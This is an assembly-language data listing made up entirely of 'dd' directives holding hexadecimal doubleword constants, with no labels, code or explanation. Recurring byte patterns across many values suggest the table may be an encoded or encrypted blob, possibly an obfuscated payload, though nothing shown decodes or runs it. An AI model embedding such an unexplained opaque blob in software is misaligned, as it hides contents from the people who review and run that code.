dd 0E5B13256h, 75B132D6h, 5733BB56h, 0B4B72A21h, 0AEB1325Fh
dd 0A93F3714h, 0B8A06748h, 5533BFFAh, 12B72B1Ah, 0DA2B0DFh
dd 53D1344Eh, 5DB13259h, 2036D293h, 0CE794A3Eh, 5A9FC913h
dd 3C3699ABh, 0EAB1325Eh, 0CA12E0FCh, 0C73E92C3h, 6853DA37h
dd 0A1D13256h, 57B124DCh, 0ABA1DA56h, 2B253256h, 3B8CE92h
dd 95BF9F7Dh, 92871720h, 52EFD7CFh, 0AEB131D1h, 0AE0E3D56h
dd 0A91CDA37h, 12443256h, 0F2C641D4h, 75B13250h, 3DBE5256h
dd 5DB1325Ch, 0AEB137BFh, 0ABAA756h, 0AE5962D9h, 71B13256h
dd 1938764Dh, 75B135BEh, 7C960956h, 0DA7721F5h, 47D0690Eh
dd 57B1325Dh, 7820C12Dh, 9526DACCh, 0B84EEB0Dh, 75A1DB36h
dd 619B3256h, 4CC7F67Eh, 63F20918h, 33BBE4B4h, 25BED2F4h
dd 0D5B13256h, 9B34F437h, 23B7207Eh, 0BAB121BFh, 0AA9C2E56h
dd 6BBCAC9Eh, 34A66ACFh, 3AA27603h, 0A83375A5h, 4209603Eh
dd 665852CAh, 63B13256h, 2CC7D6C2h, 0E897803Dh, 11FD759Bh
dd 3FBDFC4Dh, 3530A99Fh, 0A28CEE70h, 9C04CD37h, 0B5B72066h
dd 5DB126D1h, 0AEBEDB56h, 0E4053256h, 5F889E55h, 388A1235h
dd 0F5C56CA0h, 4034BFECh, 0DAB72729h, 5DB121BEh, 0A1246E56h
dd 9AD0E4BDh, 1EC1E47Eh, 5E8D6ABEh, 8814921Dh, 75B13EBEh
dd 6FCA7256h, 0FE6895ABh, 0F2CBE95Ah, 31EF6AB7h, 0CA45E9EFh
dd 0D358E2A9h, 0B4B13256h, 8E8BBBEBh, 3B34BB83h, 52B72046h
dd 0AEB13EDFh, 513C3D56h, 0A4B13256h, 0D5B132DAh, 3B55856h
dd 75B1325Ah, 803ABF73h, 0A356CFC3h, 619CF663h, 57A1323Eh
dd 0ABA0DB56h, 3E6C3256h, 5617181Ah, 6AE5515Eh, 0ECB0B60Ch
dd 3597AF8Eh, 0AEB23F16h, 57BDB959h, 21BE3256h, 0D5B13250h
dd 0EAB1BA59h, 75DB3256h, 0DCE152AAh, 8794D2D7h, 0AEB8DB0Fh
dd 0FD33256h, 0BD5FD280h, 0B4BE4726h, 0FB58E2A9h, 0D7B13256h
dd 6DAF821Eh, 9032D199h, 29B31DF4h, 0C700E0D6h, 0ABA1DB0Ch
dd 0C0583256h, 7BD1FACFh, 774139F4h, 0F4C8ADA4h, 9DBA3B85h
dd 0AE1DB659h, 31D13256h, 0CA7B10E9h, 0A2C2B0DFh, 634D344Eh
dd 6DC64FD4h, 3ABE5250h, 5DB13257h, 0AEB7DAAFh, 0D50C3256h
dd 0BF934B1Dh, 6CD06CA3h, 0EAB23F16h, 75B137BFh, 0AE76F556h
dd 0A53A701Eh, 0D66C8B36h, 58E10C08h, 0ABB132D8h, 0E6D06956h
dd 1948CE96h, 74343DFCh, 4FB13256h, 5DB7DB04h, 78833256h
dd 61B1068Ch, 24BE363Ch, 0D5B13257h, 0FAB15AAFh, 1D493256h
dd 0BAB13656h, 5DB13ABFh, 7689FB56h, 0A233BDC9h, 42B1583Ch
dd 0D5B13244h, 0E0CE973h, 0E95F74AFh, 0D8136CEAh, 97898900h
dd 3C4EE5AAh, 51A322D7h, 224868AEh, 0CDCB2BD4h, 8AD0CB50h
dd 75B126BFh, 4EBF4B56h, 0F87BC148h, 0FB97D112h, 0C283C4FFh
dd 9DDE3553h, 0D5BCDBA4h, 0CBF63256h, 0C711F03Dh, 3BC2938Bh
dd 3C2DD423h, 0D9C2B7DDh, 5958344Eh, 0A6B13256h, 87995B90h
dd 4F20BFADh, 7401638Fh, 0DA48F19Ch, 49585236h, 3BB13256h
dd 0F7635B16h, 1A610774h, 0B85B7D50h, 0B414B6E8h, 0CEF7FBFFh
dd 8B342412h, 5DBBDB37h, 932D3256h, 78F0666Bh, 0E3AB523Dh
dd 7833F537h, 0EAB72057h, 7AB17256h, 0BAB13CDAh, 5DB8DB56h
dd 0AD6C3256h, 63771C60h, 6CD5B1BAh, 0C7A39FD4h, 0EAA13250h
dd 61363D56h, 0DAB13256h, 5DB13BBFh, 5783656h, 76999C45h
dd 13D70D50h, 0B4D08E8Dh, 0EAA1DB36h, 241D3256h, 0B0B3AA9Bh
dd 8F1C15BEh, 0D0B19E2Ah, 0AFD0709Ch, 743A5295h, 0DC585237h
dd 98B13256h, 2EBEB744h, 5AC89B38h, 2AC288DDh, 2D48344Eh
dd 0D3BE3269h, 0ABB13226h, 0B446B836h, 0FACEB1A3h, 5E353D54h
dd 42B13256h, 59A14DD5h, 0AEF0B659h, 58D13256h, 0ABB130D8h
dd 0DA43B956h, 0EAB133D6h, 15D0CE56h, 0DB4FB9AEh, 0A1A5F5D5h
dd 514E8CBFh, 1076C7A9h, 0ABB13346h, 3C58C756h, 34ECDA9h
dd 75B13259h, 1EC2FC0Eh, 202A3F1Ah, 0AD7CF8DDh, 90D989F0h
dd 0ABB22211h, 53BE3256h, 0EAB13257h, 8A73DBA3h, 4F48CDA9h
dd 55303D37h, 0A1B13256h, 57B130D7h, 68D05256h, 0D5BDDA36h
dd 0C8B53256h, 0C276F2E7h, 0AEE149CBh, 0E4D75345h, 1CE999E6h
dd 5B585339h, 0B8B13256h, 4FFD89ECh, 0D0E9749Dh, 20AFC872h
dd 306BB936h, 0B13A53ACh, 0BF5852AFh, 9B13256h, 0ECD1DCD4h
dd 33DBD57Fh, 0C831050Dh, 0A4A86C83h, 0BAB132BEh, 0B7306856h
dd 0A8A9A1F9h, 8231CA36h, 0CBD15379h, 31F8830h, 8CD05336h
dd 1492F8EFh, 0C08B80DDh, 0D644344Eh, 274D3A13h, 50303D50h
dd 0CBB13256h, 53047CEFh, 6832534Dh, 73A9486Ch, 0AC343D52h
dd 0B4B13256h, 0AEB13247h
dd 0B4DA620Eh, 3F510E29h, 0DCE5576Bh, 19ACD47h, 0FFBE5354h
dd 0BAB13251h, 5DB0B459h, 67493256h, 57ABB059h, 0CDD13256h
dd 3C88CCEEh, 0EAB13259h, 0B35EF21Fh, 441C296Dh, 0A858F9F5h
dd 0CF384AD9h, 58B13694h, 0ABB12CD6h, 0C7595256h, 5BB13256h
dd 2951465Fh, 0B036AE51h, 2DC37ADh, 93126A03h, 0EFD76B7Ch
dd 0CBD05209h, 35305436h, 0E1585040h, 0B6B13256h, 1CB99B59h
dd 0C4CFF3B4h, 46D08535h, 57B13256h, 0D15BB30Ch, 0B5B72AC2h
dd 54D7DDDCh, 7AD0291Ch, 0BAB138D6h, 5DB4DB56h, 0BDD73256h
dd 0DC79F5EDh, 0B3CB2BE4h, 0C5383D50h, 3B13256h, 75B1325Dh
dd 0B9316CBCh, 0B54C63Dh, 95D02AB2h, 4FCB08E4h, 0D6353D50h
dd 3CB13257h, 0EAB13242h, 0B7E874FCh, 87671D60h, 3413BDE9h
dd 50D8A63Ah, 57B29511h, 22BE0CDDh, 0D5B13250h, 0B30F5436h
dd 0AA3A53DEh, 0BAB138BFh, 3D79AB56h, 5EBA90C7h, 582EC054h
dd 0ABB124D2h, 0D5A0DB56h, 88393256h, 584E3122h, 0F13FBAFEh
dd 352CA033h, 0A1D3A2F7h, 0BEB07DE0h, 0ABB13245h, 2FA4323Fh
dd 0AE7855D3h, 9B23CEC1h, 0ACA8F26h, 0ABE85C5Dh, 0A1313311h
dd 57B12CD3h, 0A2055256h, 95908C30h, 16683137h, 75B129BFh
dd 0BAB8DB56h, 0A8DB3256h, 47F70894h, 7C60002Ch, 0A4D1528Fh
dd 0D5B132D3h, 8BD0CB56h, 7AF2C715h, 0BAB123DAh, 5DBDDB56h
dd 8C933256h, 8E0641F9h, 74B8D8C5h, 503A64F9h, 0ECA33EE7h
dd 61343DAEh, 0B5B13256h, 5DB13CDEh, 0AEB8DB56h, 707F3256h
dd 0E6F0B0F5h, 5EB69401h, 0F8AFE3DBh, 0FEBE5250h, 0BAB13255h
dd 3D7EB930h, 2567B930h, 58D053A1h, 0ABB120DBh, 0D5BCDB56h
dd 0AA0E3256h, 3F9076A5h, 7548FDBBh, 6650EB83h, 9B333D8Eh
dd 0AEB13256h, 2CBEEB6Dh, 0D5B1327Ah, 0EF393D36h, 13B13256h
dd 24C3D0D7h, 5977B137h, 0AEA1BB59h, 5C583256h, 48B13256h
dd 6F028F2Eh, 1E7D590Dh, 0DD58A3C2h, 434ECDA8h, 0D9BEFD6Dh
dd 0AEB1327Eh, 3865B236h, 163853AEh, 0D3A32C87h, 14C0DBA3h
dd 0FABECDA9h, 0BAB13246h, 5DB139BFh, 89E42E56h, 0B1226766h
dd 0C2D59584h, 0D5BADB37h, 44513256h, 0C4ADCA9h, 32DC96A4h
dd 5358F10Bh, 55B13256h, 0E4716FF4h, 221F7039h, 47834763h
dd 8CD152E2h, 8107C3DDh, 0BE373D37h, 3BB13256h, 0CFCB22ECh
dd 57BADB36h, 6D4F3256h, 9628152h, 0B494BCECh, 75B1DA7Fh
dd 3BEB3256h, 4527BEBCh, 47D1CA50h, 57B1325Dh, 4A1AB565h
dd 9706040Ch, 8B55F6F0h, 0FA888DDh, 349344Eh, 5DB13356h
dd 0AEBDBB59h, 0D7BE3256h, 0ABB13250h, 0D5B1B359h, 2A823256h
dd 873A5436h, 0EA2D92E9h, 0F642536Bh, 0B733B9AAh, 0BEB72A2Ch
dd 0ABB13242h, 0AC058A55h, 22A27F93h, 5BEDCBFCh, 7AB4465Ah
dd 438FA69Dh, 0D48BB0DFh, 0DDBE344Eh, 0ABB13251h, 0D5B0B259h
dd 8B493256h, 75BDB259h, 33BE3256h, 5DB13250h, 0AEB1BF59h
dd 58723256h, 0ABB12AD6h, 0C7343D56h, 3B13256h, 75B1325Bh
dd 8E936BB0h, 0B2BD457Eh, 9BCA5244h, 585852E9h, 77B13256h
dd 99A9FB45h, 0AE483077h, 0FFC5B991h, 0BA59712Fh, 7B13256h
dd 39E0D8D7h, 4358344Eh, 6BB13256h, 0FFCAED23h, 9C751A8Dh
dd 368A7C47h, 0B067D09Bh, 52519032h, 0AEB129D4h, 44585256h
dd 0E3B13256h, 58174F7Ah, 1508C4D8h, 844A9495h, 87BBCB76h
dd 3C48419Dh, 86C0B790h, 0A2E73444h, 0B4DC0B3Eh, 0D5BCDB82h
dd 47313256h, 0CA654B93h, 0C6119E4Ah, 0A2861E4Ch, 0BC81DBE3h
dd 0D23CCE50h, 0ADA44D63h, 3C61CDAFh, 0EAB13251h, 0E91A06B5h
dd 43B0285Dh, 0A8E1C704h, 0AE31323Eh, 51585256h, 0DDB13256h
dd 2FA69B42h, 0E9303D59h, 13B13256h, 0D0D0E8DDh, 0EF4ECA56h
dd 0A8A94525h, 57B6BC59h, 29BE3256h, 0D5B13257h, 0EAA5DBAAh
dd 0ED603256h, 0FF5161A0h, 71B74E1Ah, 3F304555h, 0C8738A07h
dd 7B4E485Fh, 5ED7CB36h, 3E953A4h, 75B1325Dh, 159EC32h
dd 0D8B572CCh, 0F4627757h, 57BCDB36h, 3FBE3256h, 0B81ECED4h
dd 0BC2D9A67h, 14EC941Bh, 3AB15AAAh, 37493256h, 0AF353D56h
dd 0ABB13256h, 0D1A880A9h, 0D058344Eh, 4B13256h, 11E53870h
dd 1C4C8B36h, 0E2BE553Ch, 7E4E53A7h, 57048C36h, 0CAD010ECh
dd 62D1CE36h, 8B7BB880h, 7B58F137h, 0B1B13256h, 3B618617h
dd 9243D385h, 0B48A1CB3h, 42E4CA99h, 0D5B1325Ch, 0FB7CF2A1h
dd 0D30CCFEDh, 563A441Bh, 0D0BE52AEh, 0AEB13242h, 57B13DBFh
dd 718DCB56h, 5068C364h, 0A05BE8D2h, 3BF5082Eh, 0BAB132BEh
dd 0B7306856h, 0A8A9AA99h, 57B126BFh, 304C9356h, 37E1AB1Bh
dd 0C676FD2Dh, 3842E504h, 17EA16B7h, 0DDE05268h, 0A1EE55BFh
dd 57B132DDh, 24BE5356h, 0D5B1324Ah, 0EAA7BF59h, 64583256h
dd 25B13256h, 28E07675h, 0B779CA60h, 8BC364DDh, 52DA247Dh
dd 0B5B947DDh, 0EAB4BD59h, 0F4D73256h, 0B5D6F0BDh, 0B4D0FDE1h
dd 0AEB13246h, 303A2A48h, 0AF81A229h, 34675923h, 0B3EE3349h
dd 75BCC5BEh, 55305256h, 6D56BC35h, 0F9D16737h, 0D6E85336h
dd 0A1835EBCh, 474E5323h, 0ECA945BBh, 9C348236h, 0BAB1325Ch
dd 91F80C4Fh, 19D5D784h, 0AD07B46h, 0ABBAB559h, 0D3583256h
dd 0E1B13256h, 9E07FB6Fh, 0B6C40939h, 0A203B759h, 0AB58CDA9h
dd 0FFB13256h, 0FE8CF613h, 0D5BCADBEh, 52D75256h, 0A6303328h
dd 0F04E3695h, 0DFBE5337h, 0AEB13242h, 57B13DBFh, 2FE91256h
dd 3386A3D9h, 90267018h, 0DCC73E86h, 0B358529Fh, 9B13256h
dd 44A130B8h, 0D2C9299Eh, 5178E0D7h, 0B5D00522h, 0EAB2B859h
dd 0FED73256h, 0BAB8DBAFh, 67EF3256h, 0CD0518BCh, 36B59036h
dd 42B13A94h, 0D5B13242h, 0B2127747h, 0CC8E8727h, 4F2D6F90h
dd 65DAF532h, 10F8424Ch, 57B138BFh, 65F2B56h, 0C25D1A45h
dd 0BF985071h, 155DB9AAh, 0BAB3B359h, 3CD13256h, 0AEB120BEh
dd 4BDD6356h, 0BEB5629Dh, 4F2AA600h, 8BB928F6h, 9CB47F99h
dd 0BAB13251h, 0AE4C3B8Eh, 0F5E07D05h, 0AB75B137h, 0ABB123BFh
dd 75404956h, 89C0CC5Dh, 0EC755319h, 0C5AEED6Fh, 0A4E7004Eh
dd 0AEB6B659h, 0DDBE3256h, 0ABB13257h, 51BE65AEh, 0EAB1324Eh
dd 75B121BFh, 6E88FE56h, 205786A9h, 316D147Eh, 43E548F5h
dd 803E0C31h, 0DC585205h, 4AB13256h, 0A181F232h, 0BB43F632h
dd 6A2E15E9h, 4649535Fh, 57B13256h, 115BB30Ch, 0DAB72ACCh
dd 0EAB133D9h, 7B58CB56h, 5EB13256h, 0B41FD063h, 0D6A11284h
dd 49267476h, 0A3C4B95Ah, 0C5CCB9A3h, 28086236h, 2FE0E479h
dd 0F744F4D7h, 0AD008C1h, 464964A3h, 57B13394h, 0ABB135BFh
dd 66786E56h, 27D95B50h, 0F1BEF25Dh, 0BAB13376h, 5DB0B859h
dd 254D3256h, 58E4CEAEh, 0ABB13FDAh, 0D5B9DB56h, 95613256h
dd 9A6E7BD5h, 284EDB79h, 5BA945BBh, 0AEA5B659h, 58583256h
dd 0AFB13256h, 147E9781h, 6A099DF7h, 53F3058Bh, 0DAEC4A40h
dd 0DD438559h, 95D0A4A7h, 0D3BE3E23h, 0ABB13286h, 0D5A9B059h
dd 3D13256h, 75B1325Ah, 0B1F6A0A1h, 0F7076471h, 0FCF0B391h
dd 0CDAECCEEh, 20D7531Ch, 0C4585248h, 11B13256h, 939391D1h
dd 5809C355h, 3C7EF7C5h, 133C5D12h, 5C363D37h, 0CBB13256h
dd 0D5B1BE59h, 55BE3256h, 9231538Dh, 0A43BCBA6h, 5DA5B559h
dd 0A1583256h, 30B13256h, 0BBE66592h, 96A489FFh, 567C7F51h
dd 9DD1E54Fh, 0BAB1325Dh, 7DACF79Fh, 0C80D23h, 0AB9AC0E0h
dd 4831530Dh, 0D5BDDBA6h, 0A5D83256h, 0CC6A13C1h, 2F68537Ch
dd 0EBD128CCh, 14D752E6h
dd 36D1A686h, 4F595337h, 2CB13273h, 0EAB126BFh, 0E13A9556h
dd 7A98C428h, 92F2AFD9h, 61767A29h, 5D558A85h, 5560DB6Ch
dd 5FBECDA9h, 0EAB13257h, 74363DAEh, 46B13256h, 0A14D4FDFh
dd 5147BABEh, 0D0BEC7A9h, 0ABB1325Eh, 0B35BB836h, 8B2747EFh
dd 0F4D7520Dh, 443C590h, 43FBA5DAh, 26BE6D37h, 57B1325Bh
dd 0ABB13ABFh, 0A26E1356h, 6842E46Bh, 9DE65227h, 0BAB13259h
dd 0A2B4CFC5h, 0D14F63E9h, 0F571D4B7h, 0F2136FF2h, 90B540Eh
dd 0E5EF53E0h, 75B133DCh, 0FF3ACA56h, 843A52AAh, 67D0F1DDh
dd 57B13DBFh, 0AAFF4556h, 22F4DFAEh, 0C3259E26h, 2E5C2C10h
dd 0DAB13E94h, 5D313D36h, 14B13256h, 4DFF1E3Eh, 42E45337h
dd 0D5B13247h, 39EC3585h, 0F5A0A210h, 7E6482Ah, 938BC85Eh
dd 475DB96Bh, 57B13259h, 7DCA19F9h, 0A766F927h, 9FC50E05h
dd 0F647CE0Dh, 0ED4DCA92h, 0C4964AAh, 0AEB9B459h, 0D6BE3256h
dd 0ABB13254h, 29E25336h, 0EA497791h, 7AB13256h, 0BAB133D2h
dd 0DF76CE56h, 0A8A94B00h, 57B13257h, 0ABBDBE59h, 5FBE3256h
dd 0EAB13250h, 75B1B259h, 0CF3A3256h, 0FE01525Eh, 0AEB138BFh
dd 5C14A956h, 88F6089Bh, 0B4DBEBFAh, 3AFB930h, 75B13245h
dd 6E970254h, 464FE714h, 8BF13350h, 435D8546h, 20DC2849h
dd 0CDC641ECh, 0B53ACA50h, 134D525Eh, 0D55E5D7h, 526A3937h
dd 0AEB15FD2h, 57A3DB56h, 68B73256h, 444C149h, 0C2CE5D50h
dd 4B41A5CEh, 79E59514h, 0D8BEEC6Dh, 0AEB13261h, 57B13EBFh
dd 0EA0B4356h, 0DDAFC983h, 3F632E53h, 79ECB998h, 342B336h
dd 52FB0BC3h, 0AEB133DFh, 0ABD0CE56h, 42BD6DDFh, 0D5B1325Dh
dd 6DF1A1D9h, 5D933778h, 39B90493h, 0B4442691h, 514ECDD8h
dd 57B13BBFh, 91AC7556h, 0F5C5FB61h, 61D759B4h, 72383D48h
dd 0B5B13256h, 5DB133D2h, 2FD1C756h, 71D82984h, 2BD0C76Ch
dd 51BEDAADh, 0EAB13134h, 75B13DBFh, 0A8A1E856h, 3AAA973Dh
dd 52891F59h, 0BAB06F6Bh, 0A458C9D6h, 0D5B277D2h, 0EAB9DB56h
dd 0EBC03256h, 8353DCA2h, 0A6313BC4h, 81353DBDh, 0BEB13255h
dd 0ABB13258h, 8DC6A674h, 0FE270E83h, 8BBF11DFh, 413159C8h
dd 0A4353DB4h, 5BB13254h, 5852C9D6h, 0ABB3E4D2h, 0C1585256h
dd 16B13256h, 5901B4ACh, 151D8BD3h, 0E962F90Bh, 7F6B873Ch
dd 31C58B2Bh, 0CDD0E3DDh, 36D6C9D7h, 0E877B659h, 0FEBE3256h
dd 0BAB13257h, 0AD56B2AFh, 0AEB8DBA3h, 59E23256h, 1AC3CFF8h
dd 0B341CD66h, 6ABEC9D7h, 770DB659h, 3A4D3256h, 0D7D1C2B5h
dd 75063DA6h, 274AB237h, 0A919B659h, 3CD13256h, 0EAB13258h
dd 0DC6F35A8h, 0B8AF471Fh, 4B967936h, 2BBE4819h, 57B13256h
dd 0B53A5437h, 0D5B126BFh, 0B5647F56h, 6CCB749Bh, 0C1125C23h
dd 0A5824378h, 0EBEF689h, 0AF52B22Fh, 134AB2A3h, 0D4C7B659h
dd 63BE3256h, 75B13258h, 0BAB4DB36h, 67233256h, 0FC06E560h
dd 31D15309h, 0F81107EFh, 0BD3E8C30h, 0D431530Eh, 38353D53h
dd 0DAB13257h, 5DB13ABEh, 5F1EE256h, 0B861C1DAh, 0F470B980h
dd 3346FDD7h, 6AD030A8h, 0F1BE1F68h, 0BAB1337Ah, 5DB121BFh
dd 8E893356h, 52AC3A50h, 15DDB989h, 0E26D8CA3h, 8E1AAE1Dh
dd 7AD90CD6h, 0BAB039D2h, 5C3E3D56h, 52B13256h, 2EE7B0A9h
dd 0CD48344Eh, 0B3D12CDDh, 0C54E0D7h, 0C381DEE9h, 5D31535Ah
dd 5DBCDBAEh, 895D3256h, 2583A7F7h, 0F621B0F6h, 0B3008A20h
dd 230C9D7h, 757FB659h, 37BE3256h, 5DB13257h, 0B03A54AAh
dd 0A756B2AEh, 0ABB137BFh, 0FA8BD756h, 6BD7391Ch, 7A71B3ADh
dd 0BAB199D2h, 5DB4DB56h, 34B03256h, 3791C838h, 64305436h
dd 6ED7B739h, 0BFD0508Ah, 9823CDAEh, 0B5B72A21h, 5DB110D7h
dd 0BA595256h, 0C7B13256h, 8F6EAAB6h, 0C7E0399Fh, 0BC2107B4h
dd 0AB926B4Fh, 0E09E29BBh, 5DB1BF59h, 47D03256h, 57B13258h
dd 3B8EA49Fh, 0C111D26h, 982BCF90h, 7AEC740Eh, 0BAB127DBh
dd 0B5495256h, 0AEB1325Ah, 0ED18F351h, 0A3FD039Fh, 773A2745h
dd 0AF38530Ch, 75A1DBAAh, 90823256h, 0E3B1DEB5h, 0A6130E77h
dd 17A237CFh, 0A4D05251h, 0D5B133D9h, 9732C756h, 0F0BE33AAh
dd 0BAB13390h, 5DB135BFh, 993C2B56h, 2D9F90A4h, 0AA1C88DDh
dd 85443444h, 0BC33B9AAh, 9CB72A2Fh, 0BAB13250h, 0F9B58368h
dd 92882A19h, 5F353D66h, 0A4B13256h, 0D5B130DAh, 0B2D05256h
dd 7439B059h, 31493256h, 4FA39FECh, 19BE5250h, 3669B9A7h
dd 42D15206h, 0D5B13245h, 0B7DE6625h, 5F78175Dh, 0D178F6C7h
dd 0D9B5A3BCh, 57F6FDADh, 0A9063D37h, 0FD33B937h, 3CB72A2Fh
dd 0EAB13246h, 62125884h, 49088052h, 0ACC641B9h, 0BCDE3132h
dd 58810E6Fh, 0ABB139DDh, 62BE5256h, 0EA303D88h, 14B13256h
dd 35BE6AAFh, 5DB13374h, 0AEB0B759h, 0BE443256h, 0ABB1321Ch
dd 0D5A0DBAAh, 77413256h, 255474D8h, 31C75C08h, 3299CE03h
dd 696B3177h, 57B3CA13h, 42443256h, 0D5B13270h, 0EAB7B759h
dd 0F5D13256h, 0DB48FE84h, 5C497791h, 0CEB13256h, 57B4BC59h
dd 2AD73256h, 0B5AA16B4h, 0B5E76D04h, 0CF3A5337h, 0BCA94525h
dd 5DA9B659h, 0BD583256h, 6BB13256h, 4CCD0937h, 0D4075DD1h
dd 37E330C6h, 2F128DD7h, 0A53AEE56h, 5DB135BFh, 9E81AE56h
dd 0FFEF30B2h, 690E3D36h, 0A9848C30h, 0E56A3937h, 75B1BBD2h
dd 0BD3A3D56h, 52B13256h, 0AEB133D8h, 898ACA56h, 0AB83B759h
dd 87D13256h, 0B73A5309h, 832CE5Ah, 3EBE32AEh, 5DB1324Ah
dd 56EC31AAh, 57B121BFh, 45D89656h, 774D756Bh, 3DAF821Eh
dd 0B832D199h, 3DB31DF4h, 0A5B56DDFh, 52A5F5D5h, 57BFB759h
dd 0A2583256h, 0A1B13256h, 0BE56B18Bh, 7CDDFED5h, 454E4FBFh
dd 9D82C7A9h, 0AEB138BFh, 0C4F72656h, 0A15EE6FFh, 3CEC7785h
dd 0EAB1367Eh, 75B9B759h, 3EBE3256h, 5DB13254h, 25D75336h
dd 513F3D48h, 0CBB13256h, 0B4D1C1DDh, 0E6CCB937h, 75BDBD59h
dd 0BD583256h, 0B7B13256h, 3209A914h, 0AC315910h, 96353DBDh
dd 0B5B13256h, 0E543B930h, 75B131D9h, 4F66B256h, 0AD52B237h
dd 0AC363D36h, 0DDB13256h, 8078B3B8h, 0B4BEBF81h, 0E5C1C9D6h
dd 75B158D2h, 9A58CA56h, 3DB13257h, 0AEB3B659h, 87023256h
dd 0CA6E8D59h, 3C583590h, 0EAB1325Ah, 0F400D7F7h, 816F3B5Dh
dd 0ABEECAE5h, 0AEB07591h, 0AFB13256h, 23BEF5DDh, 0D5B13257h
dd 0EF71B1AFh, 75A6B359h, 0A8583256h, 0E8B13256h, 0BF6E19A5h
dd 87E3F5A3h, 0C5095FC2h, 0AF0D6A3Eh, 0E9D7DBC1h, 0FCBE3256h
dd 0BAB13251h, 5DB0BF59h, 0C84D3256h, 5FBE3591h, 0A4AFB8A3h
dd 0D5B135D2h, 5DBE5256h, 14EF60A1h, 53BED1D6h, 5DB1325Eh
dd 92FE3ACEh, 87A85D06h, 0ABA1B759h, 0DE583256h, 28B13256h
dd 0BBDA7F7Bh, 0D595C70Ah, 963190BBh, 0C84852D6h, 0A37AD3D7h
dd 0AAEEBA37h, 0D5B122BFh, 1F8F9F56h, 60A7BF68h, 96D4B7E6h
dd 0F9F9A43Eh, 0ACF6F595h, 57B13256h, 0ABB139BFh, 5C89E256h
dd 0DE584A39h, 0D9746C3Fh, 30D1F5DDh, 5DB6DB8Ah, 72143256h
dd 29FF1892h, 0A4D1535Eh, 0D5B132D0h, 5305456h, 0F6D005F1h
dd 3FBE3496h, 5DB1324Fh, 0AEB126BFh, 0FC7B0356h, 0E7B48A0Ch
dd 67F55CEAh, 20BB26AFh, 96F35080h, 0B82FDB12h, 3B493256h
dd 3E210CD7h, 57F1B659h, 2B493256h, 50BEA268h, 0EAB13207h
dd 75B139BFh, 0F1C71C56h, 0A1C234BBh, 0BC2CDE78h, 0A8CFB330h
dd 2FBEA2C6h, 0D5B1324Ch, 0EA9EDBAFh, 7A583256h, 93B13256h
dd 0CFB09A8Ah, 67AB31B7h
dd 0F4E47207h, 6C3AEE7Eh, 410A5436h, 3D0C734h, 75B13251h
dd 6E005CA5h, 0B413B2E1h, 0AEB1306Eh, 233BFAEh, 53B72A2Ch
dd 5ED75206h, 0BCD0CE9Ch, 75B121BFh, 6C895556h, 0B3014A56h
dd 0B9AE75B0h, 8237EBB6h, 7540C38Ch, 0ADA2A0A9h, 6AD1344Eh
dd 0B104C18Fh, 0B5713937h, 5DB108D2h, 0A5363D56h, 0BEB13256h
dd 0ABB13250h, 81CE39A9h, 223A264Dh, 75B134BFh, 0B5E32656h
dd 0D0C3E738h, 0B6CB67E4h, 5D3A3D50h, 0CBB13256h, 54BE56E7h
dd 0EAB13256h, 752CDB37h, 0EC4D3256h, 5DB2B159h, 57D13256h
dd 377FB937h, 0F97EB930h, 0B4EE6C00h, 0EAB137BFh, 5F3A356h
dd 43E4B857h, 2A5CA0A9h, 0F344344Eh, 0BC305436h, 0BF581F44h
dd 0E2B13256h, 0D9A4D9B2h, 0A73D288Ah, 9075EEF3h, 0B8B94C18h
dd 0CF817A74h, 0AFD1FC7Dh, 0ABB126BFh, 68BA0756h, 0C749F302h
dd 5BFB0A6Dh, 0A3576AC4h, 2696E49Fh, 0C8D153C4h, 0DCBEE5DDh
dd 0ABB13255h, 0B439F2D6h, 0EF58EBA1h, 9DB13256h, 0C36EABh
dd 50363D08h, 47B13256h, 57B1325Eh, 9C2DA5B2h, 49A1B6DDh
dd 0EAB0B059h, 0F64D3256h, 0B5B0CA2Bh, 5DB149D3h, 1E44CA56h
dd 371BCB1Fh, 0ABB4BD59h, 54D73256h, 50D9D6B9h, 556C1C9Eh
dd 0B5095437h, 5DBADBD3h, 0CF533256h, 4A3CFDF7h, 99E4ABAEh
dd 0DA1A5464h, 0EAB13EDBh, 73303D56h, 0B5B13256h, 5DB132D5h
dd 0E8073D56h, 57A2DB57h, 0FCD43256h, 0DF957858h, 7F17E72Ch
dd 14189487h, 0EEEFE448h, 0D0BE993Eh, 0AEB1325Bh, 57B13ABFh
dd 0E44C5F56h, 0DF19AD8Dh, 0EA26DB50h, 15443256h, 0DB468D59h
dd 5F494FD5h, 0AEC9B759h, 5C583256h, 86B13256h, 79782D0Fh
dd 84F56809h, 0CDD71A2Ah, 0DC48FB5Dh, 883152FDh, 0AEBADA37h
dd 270B3256h, 9C90E9FFh, 0A97172A0h, 0B4D0526Ch, 7A095437h
dd 32BE52D2h, 5DB13252h, 0EDA98B30h, 3666B930h, 0A4499930h
dd 3CB074E0h, 0EAB1325Ch, 0D953A147h, 0F7C2E78h, 0A51AA875h
dd 0AEB11ABFh, 5F343D56h, 0A4B13256h, 0D5B130D8h, 3D05256h
dd 75B13250h, 102525A5h, 0F94278DBh, 0AEB6B159h, 58D13256h
dd 0CAD1E9E1h, 0DA76B937h, 0EAB135D9h, 74313D56h, 46B13256h
dd 5DB9DB0Dh, 5D5E3256h, 830F8F13h, 0CBE8E88Ch, 0D5B13BBFh
dd 0AF8F4F56h, 9C44C94Ch, 53E22519h, 5DB13250h, 0FDBDA81h
dd 36EF4B54h, 0AA343D08h, 20B13256h, 0E578C709h, 75B123D5h
dd 0BABDDB56h, 70A03256h, 0B4A580Ch, 0A6980B7Dh, 0A373E2B0h
dd 6305256h, 0CA5B852Fh, 20D0C9DDh, 535DB9AFh, 5DB13258h
dd 0CC7DCBECh, 673B2706h, 0B9A8E3E8h, 3CD1CEACh, 0EAB1325Eh
dd 21AFF34h, 0B7BD2F6Fh, 8AFA8936h, 46D036F7h, 57B13256h
dd 715BB30Ch, 0B5B72AF0h, 50678559h, 6D3A1A9Eh, 48305237h
dd 1D9B86F2h, 65888830h, 5FF4B937h, 7B0F6336h, 8D9B3C93h
dd 0EAB138BEh, 0E111A656h, 0EF2B2C2Bh, 32089E3h, 3833BB37h
dd 58B72A21h, 0ABB133D9h, 0B44DCB56h, 0E058FBAAh, 1B13256h
dd 210D356Ah, 52952734h, 0AEB5F056h, 57B7B559h, 0CDD13256h
dd 0B42883E9h, 0E5343D03h, 9CB13256h, 0BAB1325Ch, 14F0D4C6h
dd 10A0B48Bh, 0BB3A3896h, 77315236h, 6CD1536Fh, 97ED5D8Ah
dd 0ABFDCD7h, 0DBD038E2h, 0A549F6D5h, 0AEBFDB36h, 9D223256h
